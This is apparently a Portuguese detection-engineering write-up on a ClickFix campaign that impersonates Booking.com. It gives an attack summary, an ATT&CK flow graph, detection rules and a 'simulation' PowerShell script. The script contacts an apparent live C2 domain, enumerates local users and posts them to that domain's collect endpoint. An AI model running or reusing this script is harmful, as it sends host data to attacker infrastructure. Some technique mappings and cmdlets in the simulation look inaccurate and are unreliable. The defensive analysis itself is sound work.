Analisando uma cadeia completa de ataque ClickFix (parte 1)
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O relatório descreve uma campanha ClickFix na qual um site malicioso finge ser o Booking.com para persuadir os usuários a copiar e executar um comando do PowerShell. Uma vez executado, o comando lança um script do PowerShell sem arquivo que baixa um arquivo ZIP de segunda fase. O dropper coleta informações do host, grava o payload no diretório temporário e cria persistência por meio de uma chave de registro Run e uma tarefa agendada. Toda a cadeia de infecção depende de conteúdo web convincente e execução pelo usuário, em vez de uma exploração óbvia.
Investigação
Analistas da Stormshield capturaram o JavaScript responsável por recuperar um comando de PowerShell de um domínio de comando e controle e colocá-lo na área de transferência do usuário. Eles também analisaram o dropper do PowerShell, que coletou informações detalhadas do sistema através de consultas WMI e variáveis de ambiente antes de exfiltrar os dados por meio de uma solicitação GET. O mesmo dropper então baixou um arquivo ZIP de um segundo domínio, extraiu seu conteúdo e configurou a persistência no host comprometido. Os pesquisadores mapearam os comportamentos e técnicas observados para seus identificadores correspondentes do MITRE ATT&CK.
Mitigação
As organizações devem bloquear os domínios e URLs maliciosos vinculados à campanha ClickFix e aplicar filtros web rigorosos para reduzir a exposição a páginas de phishing. Os defensores devem monitorar a execução do PowerShell com sinalizadores como -ExecutionPolicy Bypass e configurações de janela oculta, enquanto também limitam a execução de scripts do PowerShell não assinados por meio de controle de aplicativos. Detecções adicionais devem se concentrar na criação de chaves de registro Run suspeitas e tarefas agendadas com nomes desconhecidos.
Resposta
As equipes de segurança devem alertar sobre o tráfego de saída para os domínios de comando e controle identificados e nas linhas de comando do PowerShell que usam Invoke-Expression para executar conteúdo recuperado remotamente. A lógica de detecção também deve abranger a criação do valor Run específico no registro e o nome da tarefa agendada associado à campanha. Se a atividade for confirmada, isole o endpoint imediatamente, colete evidências voláteis e realize uma revisão forense de arquivos temporários e do payload ZIP baixado.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffeb99 classDef tool fill:#ccffcc classDef process fill:#ffcccc classDef persistence fill:#ddddff %% Nodes action_initial["<b>Ação</b> – Acesso Inicial: Página maliciosa de copiar e colar"] tech_user_exec["<b>Técnica</b> – T1204.004 Execução do Usuário: Cópia e Colagem Maliciosa"] process_ps["<b>Processo</b> – Comando PowerShell copiado para a área de transferência"] tech_ps["<b>Técnica</b> – T1059.001 PowerShell"] tech_process_inject["<b>Técnica</b> – T1055.011 Injeção de Processo"] action_discovery["<b>Ação</b> – Descoberta de Sistema"] tech_account_discovery["<b>Técnica</b> – T1087 Descoberta de Conta"] tech_security_sw["<b>Técnica</b> – T1518.001 Descoberta de Software de Segurança"] tech_time_discovery["<b>Técnica</b> – T1124 Descoberta de Tempo de Sistema"] action_c2["<b>Ação</b> – Comando e Controle"] tech_http_c2["<b>Técnica</b> – T1071.001 Protocolos Web (HTTP)"] action_download["<b>Ação</b> – Download de Payload"] tech_ingress["<b>Técnica</b> – T1105 Transferência de Ferramenta de Entrada"] action_deploy["<b>Ação</b> – Implantar payload (extração ZIP)"] action_persistence["<b>Ação</b> – Estabelecimento de Persistência"] tech_registry_run["<b>Técnica</b> – T1547.001 Chaves de Execução do Registro / Pasta de Inicialização"] tech_scheduled_task["<b>Técnica</b> – T1053.005 Tarefa/Job Agendado: No Logon"] action_final["<b>Ação</b> – Execução final do payload"] process_payload["<b>Processo</b> – Executável ou arquivo em lote extraído"] %% Connections action_initial –>|dispara| tech_user_exec tech_user_exec –>|leva a| process_ps process_ps –>|executa| tech_ps tech_ps –>|pode realizar| tech_process_inject tech_process_inject –>|permite| action_discovery action_discovery –>|usa| tech_account_discovery action_discovery –>|usa| tech_security_sw action_discovery –>|usa| tech_time_discovery action_discovery –>|envia dados para| action_c2 action_c2 –>|usa| tech_http_c2 action_c2 –>|dispara| action_download action_download –>|usa| tech_ingress action_download –>|armazena arquivo em| action_deploy action_deploy –>|cria| action_persistence action_persistence –>|usa| tech_registry_run action_persistence –>|alternativa| tech_scheduled_task action_persistence –>|permite| action_final action_final –>|lança| process_payload %% Class Assignments class action_initial action class tech_user_exec technique class process_ps process class tech_ps technique class tech_process_inject technique class action_discovery action class tech_account_discovery technique class tech_security_sw technique class tech_time_discovery technique class action_c2 action class tech_http_c2 technique class action_download action class tech_ingress technique class action_deploy action class action_persistence action class tech_registry_run technique class tech_scheduled_task technique class action_final action class process_payload process "
Fluxo de Ataque
Detecções
Possíveis Pontos de Persistência [ASEPs – Software/NTUSER Hive] (via registry_event)
Visualizar
Download ou Upload via Powershell (via cmdline)
Visualizar
Chamar Métodos .NET Suspeitos do Powershell (via powershell)
Visualizar
Schtasks Aponta para Diretório/Binário/Script Suspeito (via cmdline)
Visualizar
Possível Descoberta de Informações do Sistema Usando Módulo Wmi Powershell (via powershell)
Visualizar
Detecção de Execução Maliciosa do PowerShell com Técnica ClickFix [Windows Powershell]
Visualizar
Detectar Comando de Phishing ClickFix e Telemetria [Servidor Web]
Visualizar
Execução de Simulação
Pré-requisito: O Check de Condição Prévia de Telemetria & Baseline deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa do Ataque & Comandos:
Um invasor, tendo obtido acesso a uma estação de trabalho interna comprometida, emite um comando PowerShell de uma linha que contata a URL C2 do ClickFix com o?get_command=1parâmetro via um POST HTTP. O servidor retorna um payload do PowerShell que enumera contas de usuário locais (T1087), verifica o tempo do sistema (T1124), descobre produtos de segurança instalados (T1518.001), e então copia a saída para a área de transferência. O conteúdo da área de transferência é posteriormente postado de volta ao servidor ClickFix para exfiltração, cumprindo T1204.004 e T1547.001. Este padrão exato de tráfego corresponde à regra Sigmarequest_uri|contains: "?get_command=1"andhttp_method: POSTcondições. -
Script de Teste de Regressão:
# Simulação de Busca de Comando ClickFix – aciona a regra Sigma $url = "https://accountpulsecentre.help/ern-ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s?get_command=1" $payload = @{ dummy = "data" } # Enviar a solicitação POST maliciosa $response = Invoke-WebRequest -Uri $url -Method POST -Body ($payload | ConvertTo-Json) -ContentType "application/json" # Simular execução do comando PowerShell recuperado (simplificado) $psCommand = $response.Content Write-Output "Comando recuperado: $psCommand" # Para demonstração, executar um subconjunto inofensivo (ex.: obter usuários locais) e copiar para a área de transferência $users = Get-LocalUser | Select-Object -ExpandProperty Name $usersString = $users -join "`n" Set-Clipboard -Value $usersString # Exfiltrar conteúdo da área de transferência de volta ao servidor ClickFix (simulado) $exfilUrl = "https://accountpulsecentre.help/collect" Invoke-WebRequest -Uri $exfilUrl -Method POST -Body @{clipboard=$usersString} -ContentType "application/x-www-form-urlencoded" -
Comandos de Limpeza:
# Remover quaisquer arquivos temporários ou artefatos criados durante o teste Clear-Clipboard Write-Output "Limpeza completa – área de transferência limpa."